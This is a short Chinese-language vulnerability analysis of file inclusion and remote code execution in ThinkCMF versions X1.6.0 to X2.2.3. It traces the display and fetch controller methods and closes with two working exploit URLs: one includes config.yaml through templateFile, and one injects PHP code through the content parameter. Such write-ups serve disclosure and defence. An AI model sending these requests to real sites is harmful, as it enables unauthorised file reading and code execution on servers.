ThinkCMF文件包含与远程代码执行分析

影响版本

ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3

本文使用2.2.3进行分析,下载链接:https://www.mycodes.net/45/7058.htm

代码分析

文件包含

首先来到默认控制器,位于\application\Portal\Controller\IndexController.class.php,代码如下

跟进HomebaseController控制器,其中存在许多public属性的方法,我们可以在前台直接调用,该处漏洞利用了display方法

该方法中的五个参数都是可控的,第一个参数被传入到了parseTemplate方法中,跟进该方法

如果文件存在,会直接返回文件名,在这里我们控制该参数为想包含的文件即可

代码执行

该处调用到了HomebaseController中的fetch方法,代码如下

该方法调用了父类中的fetch方法,跟进该方法

继续跟进

该处存在着代码执行的点,我们只要控制content的值即可

漏洞利用

文件包含

1
http://cmf.io/index.php?a=display&templateFile=config.yaml

命令执行

1
http://cmf.io/index.php?a=fetch&content=<?php phpinfo();exit();?>

注意要使用exit函数中段代码执行,否则不会进行输出